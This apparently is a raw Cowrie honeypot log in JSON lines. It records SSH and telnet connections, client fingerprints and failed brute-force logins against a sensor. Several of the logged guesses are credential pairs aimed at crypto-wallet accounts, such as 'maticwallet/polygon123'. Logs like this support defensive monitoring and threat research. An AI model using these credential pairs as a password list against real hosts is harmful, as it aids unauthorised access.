{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:37:44.492382Z","src_ip":"103.77.242.62","session":"936e276a4fa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.202","src_port":42942,"dst_ip":"159.203.135.109","dst_port":22,"session":"d24ea7e6de6e","protocol":"ssh","message":"New connection: 162.241.239.202:42942 (159.203.135.109:22) [session: d24ea7e6de6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:38:41.935908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:38:41.940378Z","src_ip":"162.241.239.202","session":"d24ea7e6de6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:38:41.967834Z","src_ip":"162.241.239.202","session":"d24ea7e6de6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"algorand2024","message":"login attempt [root/algorand2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:38:42.051056Z","src_ip":"162.241.239.202","session":"d24ea7e6de6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:38:43.081863Z","src_ip":"162.241.239.202","session":"d24ea7e6de6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54536,"dst_ip":"159.203.135.109","dst_port":23,"session":"d55a8af637ad","protocol":"telnet","message":"New connection: 107.6.151.170:54536 (159.203.135.109:23) [session: d55a8af637ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:38:52.555560Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41572,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b0531b90dc0","protocol":"telnet","message":"New connection: 107.6.151.170:41572 (159.203.135.109:23) [session: 0b0531b90dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:38:56.663109Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54860,"dst_ip":"159.203.135.109","dst_port":23,"session":"159b94d9d2b4","protocol":"telnet","message":"New connection: 107.6.151.170:54860 (159.203.135.109:23) [session: 159b94d9d2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:09.969781Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.84.96","src_port":56254,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fb8594a6395","protocol":"ssh","message":"New connection: 159.65.84.96:56254 (10.17.0.5:22) [session: 9fb8594a6395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:25.249807Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:25.359894Z","src_ip":"159.65.84.96","session":"9fb8594a6395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.182.84","src_port":59623,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c87038e9cee","protocol":"ssh","message":"New connection: 87.156.182.84:59623 (10.17.0.5:22) [session: 4c87038e9cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:29.198552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:29.209501Z","src_ip":"87.156.182.84","session":"4c87038e9cee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:29.334655Z","src_ip":"87.156.182.84","session":"4c87038e9cee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soft1234","message":"login attempt [root/soft1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:30.354735Z","src_ip":"87.156.182.84","session":"4c87038e9cee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:31.473795Z","src_ip":"87.156.182.84","session":"4c87038e9cee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.3688108921051,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:33.031802Z","src_ip":"107.6.151.170","session":"0b0531b90dc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":50076,"dst_ip":"159.203.135.109","dst_port":22,"session":"01dfed934239","protocol":"ssh","message":"New connection: 185.242.3.195:50076 (159.203.135.109:22) [session: 01dfed934239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:43.445783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:43.449253Z","src_ip":"185.242.3.195","session":"01dfed934239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:43.539932Z","src_ip":"185.242.3.195","session":"01dfed934239","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xinyufeng","password":"xinyufeng","message":"login attempt [xinyufeng/xinyufeng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:43.817683Z","src_ip":"185.242.3.195","session":"01dfed934239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:44.910937Z","src_ip":"185.242.3.195","session":"01dfed934239","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50918,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac41f381e126","protocol":"telnet","message":"New connection: 107.6.151.170:50918 (159.203.135.109:23) [session: ac41f381e126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:51.552104Z"}
{"eventid":"cowrie.session.closed","duration":0.003818511962890625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:51.555806Z","src_ip":"107.6.151.170","session":"ac41f381e126","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.67866516113281,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:39:55.648324Z","src_ip":"107.6.151.170","session":"159b94d9d2b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.251.137","src_port":37620,"dst_ip":"10.17.0.5","dst_port":22,"session":"2213690422db","protocol":"ssh","message":"New connection: 198.12.251.137:37620 (10.17.0.5:22) [session: 2213690422db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:40:00.575889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:40:00.578954Z","src_ip":"198.12.251.137","session":"2213690422db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:40:00.649065Z","src_ip":"198.12.251.137","session":"2213690422db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vechain","password":"vechain456","message":"login attempt [vechain/vechain456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:40:00.855895Z","src_ip":"198.12.251.137","session":"2213690422db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:40:01.928358Z","src_ip":"198.12.251.137","session":"2213690422db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":39678,"dst_ip":"10.17.0.5","dst_port":23,"session":"5095c96c98d3","protocol":"telnet","message":"New connection: 50.62.181.92:39678 (10.17.0.5:23) [session: 5095c96c98d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:40:11.159159Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":48604,"dst_ip":"159.203.135.109","dst_port":23,"session":"26f2e597db64","protocol":"telnet","message":"New connection: 143.198.154.150:48604 (159.203.135.109:23) [session: 26f2e597db64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:40:30.793578Z"}
{"eventid":"cowrie.session.closed","duration":30.94655680656433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:40:42.105543Z","src_ip":"50.62.181.92","session":"5095c96c98d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01100540161133,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:40:52.566444Z","src_ip":"107.6.151.170","session":"d55a8af637ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":55498,"dst_ip":"10.17.0.5","dst_port":22,"session":"576720fcafb8","protocol":"ssh","message":"New connection: 213.202.230.81:55498 (10.17.0.5:22) [session: 576720fcafb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:41:10.293425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:41:10.297748Z","src_ip":"213.202.230.81","session":"576720fcafb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:41:10.387565Z","src_ip":"213.202.230.81","session":"576720fcafb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hbar456","message":"login attempt [root/hbar456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:41:10.654216Z","src_ip":"213.202.230.81","session":"576720fcafb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:41:11.746176Z","src_ip":"213.202.230.81","session":"576720fcafb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":47694,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f451cbf8f3b","protocol":"ssh","message":"New connection: 87.251.79.125:47694 (159.203.135.109:22) [session: 4f451cbf8f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:41:35.125743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:41:35.128774Z","src_ip":"87.251.79.125","session":"4f451cbf8f3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:41:35.196917Z","src_ip":"87.251.79.125","session":"4f451cbf8f3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fyfcnfcbza","message":"login attempt [root/fyfcnfcbza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:41:35.403897Z","src_ip":"87.251.79.125","session":"4f451cbf8f3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:41:36.473185Z","src_ip":"87.251.79.125","session":"4f451cbf8f3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.183","src_port":53204,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffa46b2c8167","protocol":"ssh","message":"New connection: 162.241.132.183:53204 (10.17.0.5:22) [session: ffa46b2c8167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:41:49.136544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:41:49.139996Z","src_ip":"162.241.132.183","session":"ffa46b2c8167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:41:49.165889Z","src_ip":"162.241.132.183","session":"ffa46b2c8167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maticwallet","password":"polygon123","message":"login attempt [maticwallet/polygon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:41:49.246205Z","src_ip":"162.241.132.183","session":"ffa46b2c8167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:41:50.275120Z","src_ip":"162.241.132.183","session":"ffa46b2c8167","protocol":"ssh"}
